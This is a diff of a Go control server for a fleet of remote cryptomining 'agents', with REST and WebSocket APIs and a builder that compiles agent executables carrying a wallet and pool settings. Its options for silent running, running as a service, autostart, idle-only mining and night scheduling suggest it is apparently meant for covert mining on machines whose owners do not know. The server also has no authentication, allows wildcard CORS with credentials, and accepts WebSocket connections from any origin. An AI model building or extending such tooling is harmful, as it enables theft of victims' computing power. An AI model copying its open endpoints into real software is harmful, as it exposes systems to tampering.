Threads: 4,
CPUPriority: "below_normal",
MaxCPUUsagePct: 80,
MinFreeRAMMB: 1024,
MiningMode: "always",
IdleThresholdPct: 20,
IdleDurationMinutes: 5,
ScheduleStart: "21:00",
ScheduleEnd: "06:00",
},
Background: BackgroundConfig{
SilentMode: true,
RunAs: "service",
AutoStart: true,
MinimizeToTray: true,
},
Alerts: AlertsConfig{
OfflineThresholdMinutes: 5,
HashrateDropThresholdPct: 50,
RejectionRateThresholdPct: 5,
},
}
}
func LoadConfig() *Config {
cfg := DefaultConfig()
// Parse CLI flags
port := flag.Int("port", 8989, "Server port")
dataDir := flag.String("data", "data", "Data directory")
flag.Parse()
cfg.Port = *port
cfg.DataDir = *dataDir
// Try to load from config file
configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config
if err := json.Unmarshal(data, &fileCfg); err == nil {
// Merge file config over defaults (only non-zero values)
mergeConfig(cfg, &fileCfg)
}
}
return cfg
}
func mergeConfig(dst, src *Config) {
if src.Port != 0 {
dst.Port = src.Port
}
if src.DataDir != "" {
dst.DataDir = src.DataDir
}
if src.Pool.Host != "" {
dst.Pool.Host = src.Pool.Host
}
if src.Pool.Port != 0 {
dst.Pool.Port = src.Pool.Port
}
dst.Pool.UseTLS = src.Pool.UseTLS
if src.Pool.Password != "" {
dst.Pool.Password = src.Pool.Password
}
if src.Wallet.Address != "" {
dst.Wallet.Address = src.Wallet.Address
}
if src.Wallet.PaymentID != "" {
dst.Wallet.PaymentID = src.Wallet.PaymentID
}
if src.DefaultAgent.Threads != 0 {
dst.DefaultAgent.Threads = src.DefaultAgent.Threads
}
if src.DefaultAgent.CPUPriority != "" {
dst.DefaultAgent.CPUPriority = src.DefaultAgent.CPUPriority
}
if src.DefaultAgent.MaxCPUUsagePct != 0 {
dst.DefaultAgent.MaxCPUUsagePct = src.DefaultAgent.MaxCPUUsagePct
}
if src.DefaultAgent.MinFreeRAMMB != 0 {
dst.DefaultAgent.MinFreeRAMMB = src.DefaultAgent.MinFreeRAMMB
}
if src.DefaultAgent.MiningMode != "" {
dst.DefaultAgent.MiningMode = src.DefaultAgent.MiningMode
}
if src.DefaultAgent.IdleThresholdPct != 0 {
dst.DefaultAgent.IdleThresholdPct = src.DefaultAgent.IdleThresholdPct
}
if src.DefaultAgent.IdleDurationMinutes != 0 {
dst.DefaultAgent.IdleDurationMinutes = src.DefaultAgent.IdleDurationMinutes
}
if src.DefaultAgent.ScheduleStart != "" {
dst.DefaultAgent.ScheduleStart = src.DefaultAgent.ScheduleStart
}
if src.DefaultAgent.ScheduleEnd != "" {
dst.DefaultAgent.ScheduleEnd = src.DefaultAgent.ScheduleEnd
}
dst.Background.SilentMode = src.Background.SilentMode
if src.Background.RunAs != "" {
dst.Background.RunAs = src.Background.RunAs
}
dst.Background.AutoStart = src.Background.AutoStart
dst.Background.MinimizeToTray = src.Background.MinimizeToTray
if src.Alerts.OfflineThresholdMinutes != 0 {
dst.Alerts.OfflineThresholdMinutes = src.Alerts.OfflineThresholdMinutes
}
if src.Alerts.HashrateDropThresholdPct != 0 {
dst.Alerts.HashrateDropThresholdPct = src.Alerts.HashrateDropThresholdPct
}
if src.Alerts.RejectionRateThresholdPct != 0 {
dst.Alerts.RejectionRateThresholdPct = src.Alerts.RejectionRateThresholdPct
}
}
func (c *Config) Save() error {
configPath := filepath.Join(c.DataDir, "config.json")
data, err := json.MarshalIndent(c, "", " ")
if err != nil {
return fmt.Errorf("failed to marshal config: %w", err)
}
return os.WriteFile(configPath, data, 0644)
}
func (c *Config) PoolURL() string {
proto := "stratum+tcp"
if c.Pool.UseTLS {
proto = "stratum+ssl"
}
return fmt.Sprintf("%s://%s:%d", proto, c.Pool.Host, c.Pool.Port)
}

27
server/go.mod Normal file
View File

@@ -0,0 +1,27 @@
module crypto-miner-server
go 1.21
require (
github.com/go-chi/chi/v5 v5.0.12
github.com/go-chi/cors v1.2.1
github.com/google/uuid v1.6.0
github.com/gorilla/websocket v1.5.1
modernc.org/sqlite v1.29.5
)
require (
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
golang.org/x/net v0.17.0 // indirect
golang.org/x/sys v0.18.0 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
modernc.org/libc v1.49.3 // indirect
modernc.org/mathutil v1.6.0 // indirect
modernc.org/memory v1.8.0 // indirect
modernc.org/strutil v1.2.0 // indirect
modernc.org/token v1.1.0 // indirect
)

59
server/go.sum Normal file
View File

@@ -0,0 +1,59 @@
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/go-chi/chi/v5 v5.0.12 h1:9euLV5sTrTNTRUU9POmDUvfxyj6LAABLUcEWO+JJb4s=
github.com/go-chi/chi/v5 v5.0.12/go.mod h1:DslCQbL2OYiznFReuXYUmQ2hGd1aDpCnlMNITLSKoi8=
github.com/go-chi/cors v1.2.1 h1:xEC8UT3Rlp2QuWNEr4Fs/c2EAGVKBwy/1vHx3bppil4=
github.com/go-chi/cors v1.2.1/go.mod h1:sSbTewc+6wYHBBCW7ytsFSn836hqM7JxpglAy2Vzc58=
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/QY=
github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-sqlite3 v1.14.22 h1:2gZY6PC6kBnID23Tichd1K+Z0oS6nE/XwU+Vz/5o4kU=
github.com/mattn/go-sqlite3 v1.14.22/go.mod h1:Uh1q+B4BYcTPb+yiD3kU8Ct7aC0hY9fxUwlHK0RXw+Y=
github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
golang.org/x/mod v0.16.0 h1:QX4fJ0Rr5cPQCF7O9lh9Se4pmwfwskqZfq5moyldzic=
golang.org/x/mod v0.16.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM=
golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.18.0 h1:DBdB3niSjOA/O0blCZBqDefyWNYveAYMNF1Wum0DYQ4=
golang.org/x/sys v0.18.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
golang.org/x/tools v0.19.0 h1:tfGCXNR1OsFG+sVdLAitlpjAvD/I6dHDKnYrpEZUHkw=
golang.org/x/tools v0.19.0/go.mod h1:qoJWxmGSIBmAeriMx19ogtrEPrGtDbPK634QFIcLAhc=
modernc.org/cc/v4 v4.20.0 h1:45Or8mQfbUqJOG9WaxvlFYOAQO0lQ5RvqBcFCXngjxk=
modernc.org/cc/v4 v4.20.0/go.mod h1:HM7VJTZbUCR3rV8EYBi9wxnJ0ZBRiGE5OeGXNA0IsLQ=
modernc.org/ccgo/v4 v4.16.0 h1:ofwORa6vx2FMm0916/CkZjpFPSR70VwTjUCe2Eg5BnA=
modernc.org/ccgo/v4 v4.16.0/go.mod h1:dkNyWIjFrVIZ68DTo36vHK+6/ShBn4ysU61So6PIqCI=
modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE=
modernc.org/fileutil v1.3.0/go.mod h1:XatxS8fZi3pS8/hKG2GH/ArUogfxjpEKs3Ku3aK4JyQ=
modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw=
modernc.org/gc/v2 v2.4.1/go.mod h1:wzN5dK1AzVGoH6XOzc3YZ+ey/jPgYHLuVckd62P0GYU=
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 h1:5D53IMaUuA5InSeMu9eJtlQXS2NxAhyWQvkKEgXZhHI=
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6/go.mod h1:Qz0X07sNOR1jWYCrJMEnbW/X55x206Q7Vt4mz6/wHp4=
modernc.org/libc v1.49.3 h1:j2MRCRdwJI2ls/sGbeSk0t2bypOG/uvPZUsGQFDulqg=
modernc.org/libc v1.49.3/go.mod h1:yMZuGkn7pXbKfoT/M35gFJOAEdSKdxL0q64sF7KqCDo=
modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E=
modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU=
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc=
modernc.org/sortutil v1.2.0/go.mod h1:TKU2s7kJMf1AE84OoiGppNHJwvB753OYfNl2WRb++Ss=
modernc.org/sqlite v1.29.5 h1:8l/SQKAjDtZFo9lkJLdk8g9JEOeYRG4/ghStDCCTiTE=
modernc.org/sqlite v1.29.5/go.mod h1:S02dvcmm7TnTRvGhv8IGYyLnIt7AS2KPaB1F/71p75U=
modernc.org/strutil v1.2.0 h1:agBi9dp1I+eOnxXeiZawM8F4LawKv4NzGWSaLfyeNZA=
modernc.org/strutil v1.2.0/go.mod h1:/mdcBmfOibveCTBxUl5B5l6W+TTH1FXPLHZE6bTosX0=
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=

View File

@@ -0,0 +1,62 @@
package api
import (
"encoding/json"
"net/http"
"crypto-miner-server/internal/db"
)
// ConfigHandler handles GET/PUT for server configuration settings
type ConfigHandler struct {
db *db.Database
config ConfigProvider
}
// ConfigProvider is an interface for the server config so we don't import main package
type ConfigProvider interface {
GetConfigJSON() json.RawMessage
UpdateConfigFromJSON(data json.RawMessage) error
}
func NewConfigHandler(database *db.Database, cp ConfigProvider) *ConfigHandler {
return &ConfigHandler{
db: database,
config: cp,
}
}
func (h *ConfigHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
h.getConfig(w, r)
case http.MethodPut:
h.updateConfig(w, r)
default:
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
}
}
// GET /api/v1/config
func (h *ConfigHandler) getConfig(w http.ResponseWriter, r *http.Request) {
configJSON := h.config.GetConfigJSON()
w.Header().Set("Content-Type", "application/json")
w.Write(configJSON)
}
// PUT /api/v1/config
func (h *ConfigHandler) updateConfig(w http.ResponseWriter, r *http.Request) {
var body json.RawMessage
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, `{"error":"Invalid JSON"}`, http.StatusBadRequest)
return
}
if err := h.config.UpdateConfigFromJSON(body); err != nil {
http.Error(w, `{"error":"`+err.Error()+`"}`, http.StatusInternalServerError)
return
}
// Return updated config
h.getConfig(w, r)
}

View File

@@ -0,0 +1,113 @@
package api
import (
"encoding/json"
"net/http"
"strconv"
"github.com/go-chi/chi/v5"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
type Handler struct {
db *db.Database
}
func NewHandler(database *db.Database) *Handler {
return &Handler{db: database}
}
// GET /api/v1/dashboard/stats
func (h *Handler) GetDashboardStats(w http.ResponseWriter, r *http.Request) {
stats, err := h.db.GetFleetStats()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, stats)
}
// GET /api/v1/agents
func (h *Handler) ListAgents(w http.ResponseWriter, r *http.Request) {
agents, err := h.db.ListAgents()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if agents == nil {
agents = []*models.Agent{}
}
writeJSON(w, agents)
}
// GET /api/v1/agents/{id}
func (h *Handler) GetAgent(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
agent, err := h.db.GetAgent(id)
if err != nil {
http.Error(w, "Agent not found", http.StatusNotFound)
return
}
writeJSON(w, agent)
}
// GET /api/v1/agents/{id}/stats
func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
limitStr := r.URL.Query().Get("limit")
limit := 100
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
limit = l
}
samples, err := h.db.GetHashrateHistory(id, limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if samples == nil {
samples = []*models.HashrateSample{}
}
writeJSON(w, samples)
}
// GET /api/v1/shares
func (h *Handler) GetRecentShares(w http.ResponseWriter, r *http.Request) {
limitStr := r.URL.Query().Get("limit")
limit := 50
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
limit = l
}
shares, err := h.db.GetRecentShares(limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if shares == nil {
shares = []*models.Share{}
}
writeJSON(w, shares)
}
// GET /api/v1/health
func (h *Handler) HealthCheck(w http.ResponseWriter, r *http.Request) {
writeJSON(w, map[string]string{"status": "ok"})
}
// GET /api/v1/builds
func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
builds, err := h.db.ListBuilds(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if builds == nil {
builds = []*models.BuildRecord{}
}
writeJSON(w, builds)
}
func writeJSON(w http.ResponseWriter, v interface{}) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(v)
}

View File

@@ -0,0 +1,107 @@
package api
import (
"net/http"
"os"
"path/filepath"
"strings"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
"github.com/go-chi/cors"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/builder"
)
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, webRoot string) http.Handler {
r := chi.NewRouter()
// Middleware
r.Use(middleware.Logger)
r.Use(middleware.Recoverer)
r.Use(cors.Handler(cors.Options{
AllowedOrigins: []string{"*"},
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type"},
AllowCredentials: true,
}))
// REST API
r.Route("/api/v1", func(r chi.Router) {
h := NewHandler(database)
r.Get("/health", h.HealthCheck)
// Dashboard
r.Get("/dashboard/stats", h.GetDashboardStats)
// Agents
r.Get("/agents", h.ListAgents)
r.Get("/agents/{id}", h.GetAgent)
r.Get("/agents/{id}/stats", h.GetAgentStats)
// Shares
r.Get("/shares", h.GetRecentShares)
// Builds
r.Get("/builds", h.ListBuilds)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
// Config
r.Get("/config", configHandler.ServeHTTP)
r.Put("/config", configHandler.ServeHTTP)
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
})
// WebSocket
r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// Serve frontend SPA
if webRoot != "" {
// Check if webroot directory exists
if info, err := os.Stat(webRoot); err == nil && info.IsDir() {
// Create a file server for the webroot
fileServer := http.FileServer(http.Dir(webRoot))
// SPA fallback: serve index.html for all non-API, non-WebSocket routes
r.Get("/*", func(w http.ResponseWriter, r *http.Request) {
// Clean the path
path := strings.TrimPrefix(r.URL.Path, "/")
fullPath := filepath.Join(webRoot, path)
// Check if the file exists
if _, err := os.Stat(fullPath); err == nil {
fileServer.ServeHTTP(w, r)
return
}
// SPA fallback - serve index.html
http.ServeFile(w, r, filepath.Join(webRoot, "index.html"))
})
} else {
// Fallback if webroot doesn't exist
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
<h1>Crypto Miner Control Server</h1>
<p>Server is running. Build the frontend with <code>cd server/web && npm install && npm run build</code></p>
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
</body></html>`))
})
}
} else {
r.Get("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/html")
w.Write([]byte(`<!DOCTYPE html><html><head><title>Crypto Miner</title></head><body>
<h1>Crypto Miner Control Server</h1>
<p>Server is running. No frontend configured.</p>
<p>API: <a href="/api/v1/health">/api/v1/health</a></p>
</body></html>`))
})
}
return r
}

View File

@@ -0,0 +1,373 @@
package api
import (
"encoding/json"
"log"
"net/http"
"strings"
"sync"
"time"
"github.com/google/uuid"
"github.com/gorilla/websocket"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
)
var upgrader = websocket.Upgrader{
ReadBufferSize: 4096,
WriteBufferSize: 4096,
CheckOrigin: func(r *http.Request) bool {
return true // Allow all origins for local use
},
}
type Message struct {
Type string `json:"type"`
Payload json.RawMessage `json:"payload"`
}
type AgentConnection struct {
AgentID string
Conn *websocket.Conn
mu sync.Mutex
}
func (c *AgentConnection) SendJSON(v interface{}) error {
c.mu.Lock()
defer c.mu.Unlock()
return c.Conn.WriteJSON(v)
}
type WSHub struct {
db *db.Database
agents map[string]*AgentConnection
dashboards map[string]*websocket.Conn
poolProxy *pool.Proxy
defaultAgent AgentDefaults
mu sync.RWMutex
}
type AgentDefaults struct {
Threads int
CPUPriority string
}
func NewWSHub(database *db.Database) *WSHub {
return &WSHub{
db: database,
agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*websocket.Conn),
defaultAgent: AgentDefaults{Threads: 4, CPUPriority: "below_normal"},
}
}
func (h *WSHub) SetDefaultAgentConfig(cfg interface{}) {
type defaults struct {
Threads int `json:"threads"`
CPUPriority string `json:"cpu_priority"`
}
if cfg == nil {
return
}
data, err := json.Marshal(cfg)
if err != nil {
return
}
var d defaults
if err := json.Unmarshal(data, &d); err != nil {
return
}
if d.Threads <= 0 {
d.Threads = 4
}
if d.CPUPriority == "" {
d.CPUPriority = "below_normal"
}
h.mu.Lock()
h.defaultAgent = AgentDefaults{Threads: d.Threads, CPUPriority: d.CPUPriority}
h.mu.Unlock()
}
// SetPoolProxy sets the pool proxy for share submission forwarding
func (h *WSHub) SetPoolProxy(proxy *pool.Proxy) {
h.poolProxy = proxy
}
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("WebSocket upgrade error: %v", err)
return
}
agentID := ""
defer func() {
if agentID != "" {
h.mu.Lock()
delete(h.agents, agentID)
h.mu.Unlock()
h.db.SetAgentOffline(agentID)
h.broadcastDashboard(Message{
Type: "agent_offline",
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
})
}
conn.Close()
}()
for {
_, msgBytes, err := conn.ReadMessage()
if err != nil {
log.Printf("Agent read error: %v", err)
break
}
var msg Message
if err := json.Unmarshal(msgBytes, &msg); err != nil {
log.Printf("Invalid message from agent: %v", err)
continue
}
switch msg.Type {
case "auth":
var auth struct {
AgentID string `json:"agent_id"`
Wallet string `json:"wallet"`
Version string `json:"version"`
Hostname string `json:"hostname"`
CPUCores int `json:"cpu_cores"`
MemoryGB int `json:"memory_gb"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "invalid auth payload",
})})
continue
}
agentID = auth.AgentID
if agentID == "" {
agentID = uuid.New().String()
}
clientIP := r.Header.Get("X-Forwarded-For")
if clientIP == "" {
clientIP = r.RemoteAddr
}
if idx := strings.LastIndex(clientIP, ":"); idx > 0 && strings.Count(clientIP, ":") == 1 {
clientIP = clientIP[:idx]
}
agent := &models.Agent{
ID: agentID,
Name: auth.Hostname,
Wallet: auth.Wallet,
IP: clientIP,
Version: auth.Version,
Status: "online",
CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB,
LastSeen: time.Now(),
}
if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err)
}
h.mu.Lock()
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
h.mu.Unlock()
h.mu.RLock()
defaults := h.defaultAgent
h.mu.RUnlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true,
"agent_id": agentID,
"config": map[string]interface{}{
"threads": defaults.Threads,
"priority": defaults.CPUPriority,
},
})})
h.broadcastDashboard(Message{
Type: "agent_online",
Payload: mustMarshal(agent),
})
case "stats":
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
h.broadcastDashboard(Message{
Type: "stats_update",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
}),
})
case "submit_share":
var share models.Share
if err := json.Unmarshal(msg.Payload, &share); err != nil {
continue
}
share.AgentID = agentID
share.Timestamp = time.Now()
// Forward share to pool proxy if connected
if h.poolProxy != nil && h.poolProxy.IsConnected() {
h.poolProxy.SubmitShare(agentID, share.JobID, share.Nonce, share.Hash)
share.Accepted = true // Pool will validate; we assume accepted initially
} else {
// Pool not connected - mark as accepted locally for testing
share.Accepted = true
log.Printf("[WS] Pool not connected, marking share as accepted locally")
}
if err := h.db.InsertShare(&share); err != nil {
log.Printf("Failed to insert share: %v", err)
}
conn.WriteJSON(Message{Type: "share_result", Payload: mustMarshal(map[string]interface{}{
"job_id": share.JobID,
"accepted": share.Accepted,
})})
h.broadcastDashboard(Message{
Type: "new_share",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"accepted": share.Accepted,
"hash": share.Hash,
}),
})
case "get_job":
// Agent requesting current job from pool
if h.poolProxy != nil {
job := h.poolProxy.GetCurrentJob()
if job != nil {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
} else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "no job available"})})
}
} else {
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})})
}
}
}
}
func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
conn, err := upgrader.Upgrade(w, r, nil)
if err != nil {
log.Printf("Dashboard WebSocket upgrade error: %v", err)
return
}
dashID := uuid.New().String()
h.mu.Lock()
h.dashboards[dashID] = conn
h.mu.Unlock()
defer func() {
h.mu.Lock()
delete(h.dashboards, dashID)
h.mu.Unlock()
conn.Close()
}()
// Send initial data
agents, _ := h.db.ListAgents()
stats, _ := h.db.GetFleetStats()
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
"agents": agents,
"stats": stats,
})})
// Keep connection alive, read close messages
for {
_, _, err := conn.ReadMessage()
if err != nil {
break
}
}
}
func (h *WSHub) broadcastDashboard(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
data, err := json.Marshal(msg)
if err != nil {
return
}
for id, conn := range h.dashboards {
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err)
conn.Close()
go func() {
h.mu.Lock()
delete(h.dashboards, id)
h.mu.Unlock()
}()
}
}
}
func mustMarshal(v interface{}) json.RawMessage {
data, _ := json.Marshal(v)
return data
}
// BroadcastToAgents sends a message to all connected agents
func (h *WSHub) BroadcastToAgents(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
for id, agent := range h.agents {
if err := agent.SendJSON(msg); err != nil {
log.Printf("Failed to send to agent %s: %v", id, err)
}
}
}
// mustMarshalRaw marshals a value to json.RawMessage, panicking on error
func mustMarshalRaw(v interface{}) json.RawMessage {
data, err := json.Marshal(v)
if err != nil {
panic(err)
}
return data
}

View File

@@ -0,0 +1,379 @@
package builder
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/go-chi/chi/v5"
"github.com/google/uuid"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
type BuildRequest struct {
WorkerName string `json:"worker_name"`
ServerURL string `json:"server_url"`
Wallet string `json:"wallet"`
Threads int `json:"threads"`
CPUPriority string `json:"cpu_priority"`
MiningMode string `json:"mining_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
AutoStart bool `json:"auto_start"`
MaxCPUUsagePct int `json:"max_cpu_usage_pct"`
MinFreeRAMMB int `json:"min_free_ram_mb"`
IdleThresholdPct int `json:"idle_threshold_pct"`
IdleDurationMinutes int `json:"idle_duration_minutes"`
ScheduleStart string `json:"schedule_start"`
ScheduleEnd string `json:"schedule_end"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
}
type BuildResponse struct {
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
Error string `json:"error,omitempty"`
}
type Handler struct {
db *db.Database
dataDir string
agentSrcDir string
projectRoot string
goBinPath string
}
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
goBin := "go"
if _, err := exec.LookPath("go"); err == nil {
goBin = "go"
}
return &Handler{
db: database,
dataDir: dataDir,
agentSrcDir: agentSrcDir,
projectRoot: projectRoot,
goBinPath: goBin,
}
}
func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
var req BuildRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
